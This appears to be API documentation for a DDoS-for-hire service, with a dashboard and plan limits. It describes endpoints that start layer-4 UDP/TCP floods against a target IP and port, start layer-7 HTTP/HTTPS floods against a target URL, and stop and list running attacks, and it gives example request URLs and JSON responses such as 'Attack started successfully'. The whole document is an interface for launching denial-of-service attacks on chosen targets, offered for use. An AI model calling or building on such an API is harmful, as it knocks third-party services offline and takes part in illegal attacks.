dashboard
documentation
$0

Query Parameters

ParameterTypeRequiredDescription
usernamestringYesYour username
passwordstringYesYour password
hoststringYesTarget IP address (IPv4)
portintegerYesTarget port (1-65535)
timeintegerYesDuration in seconds (10 to plan's boot time)
methodstringYesMethod name (e.g., "UDP", "TCP")

Example Request

https://your-domain.com/api/layer4/start?username=user&password=pass&host=192.168.1.1&port=80&time=60&method=UDP

Response

{
  "success": true,
  "message": "Attack started successfully",
  "id": 123456
}

Query Parameters

ParameterTypeRequiredDescription
usernamestringYesYour username
passwordstringYesYour password
hoststringYesTarget URL (e.g., https://example.com)
portintegerNoTarget port (default: 80, 1-65535)
timeintegerYesDuration in seconds (10 to plan's boot time)
methodstringYesMethod name (e.g., "HTTP", "HTTPS")

Example Request

https://your-domain.com/api/layer7/start?username=user&password=pass&host=https://example.com&port=443&time=120&method=HTTP

Response

{
  "success": true,
  "message": "Attack started successfully",
  "id": 123456
}

Query Parameters

ParameterTypeRequiredDescription
usernamestringYesYour username
passwordstringYesYour password
idintegerYesAttack ID (returned when starting an attack)

Example Request

https://your-domain.com/api/stop?username=user&password=pass&id=123456

Response

{
  "success": true,
  "message": "Attack stopped successfully"
}

Query Parameters

ParameterTypeRequiredDescription
usernamestringYesYour username
passwordstringYesYour password

Example Request

https://your-domain.com/api/attacks?username=user&password=pass

Response

{
  "success": true,
  "attacks": [
    {
      "id": 123456,
      "target": "example.com",
      "host": "example.com",
      "port": 80,
      "duration": 60,
      "method": 1,
      "method_name": "HTTP",
      "timestamp": 1234567890,
      "expires": 1234567950,
      "stopped": false
    }
  ]
}